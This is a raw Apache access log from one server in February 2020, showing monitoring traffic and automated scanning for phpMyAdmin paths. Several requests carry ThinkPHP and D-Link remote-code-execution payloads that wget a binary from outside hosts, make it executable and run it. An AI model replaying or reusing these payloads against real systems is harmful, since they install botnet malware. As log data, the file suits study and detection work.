218.66.104.120 - - [05/Feb/2020:13:41:47 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:47 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:48 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:48 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:48 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
212.91.246.72 - - [05/Feb/2020:13:41:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.66.104.120 - - [05/Feb/2020:13:41:48 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:49 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:49 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:49 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:50 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:50 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:51 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:51 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:51 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:52 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:52 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:52 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:52 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:53 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:53 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:54 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:54 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:55 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:56 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:56 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:56 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:56 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:57 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:57 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:57 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:57 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:58 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:58 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:59 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:41:59 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:42:00 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:42:01 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:42:01 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:42:01 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0)"
218.66.104.120 - - [05/Feb/2020:13:42:04 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
42.119.136.158 - - [05/Feb/2020:13:42:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.43.169.182 - - [05/Feb/2020:13:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0"
212.91.246.72 - - [05/Feb/2020:13:42:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:43:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.110.76.87 - - [05/Feb/2020:13:44:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.1.94.151 - - [05/Feb/2020:13:44:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:13:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.20.29.126 - - [05/Feb/2020:13:45:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.7.139 - - [05/Feb/2020:13:45:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:13:45:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.115.245.74 - - [05/Feb/2020:13:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:13:46:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:47:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:48:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.88.62.41 - - [05/Feb/2020:13:49:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [05/Feb/2020:13:49:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:50:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.152.190.229 - - [05/Feb/2020:13:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:13:51:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:52:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.204.211.114 - - [05/Feb/2020:13:52:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:13:53:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.18.239 - - [05/Feb/2020:13:54:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:13:54:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:55:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:56:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.227.162.19 - - [05/Feb/2020:13:57:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
201.88.30.50 - - [05/Feb/2020:13:57:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:13:57:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.158.1 - - [05/Feb/2020:13:57:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.130.111 - - [05/Feb/2020:13:58:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:13:58:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:13:59:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:00:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:01:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:02:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:03:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.67.90.103 - - [05/Feb/2020:14:04:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.74.216.157 - - [05/Feb/2020:14:04:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:04:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:05:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.5.212.211 - - [05/Feb/2020:14:06:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:14:06:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.61.153.174 - - [05/Feb/2020:14:06:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
118.68.254.193 - - [05/Feb/2020:14:07:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.128.17.222 - - [05/Feb/2020:14:07:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:14:07:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:14:08:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.189.19.57 - - [05/Feb/2020:14:08:56 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:56 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:56 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:56 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:56 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:56 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:56 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:56 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:56 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:56 +0100] "GET /muieblackcat HTTP/1.1" 404 317 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:58 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:58 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:58 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:59 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:59 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:59 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:59 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:08:59 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:00 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //Admin/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //Admin/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //Admin/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //Admin/scripts/setup.php HTTP/1.1" 404 328 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //pma/scripts/setup.php HTTP/1.1" 404 326 "-" "-"
206.189.19.57 - - [05/Feb/2020:14:09:01 +0100] "GET //myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "-"
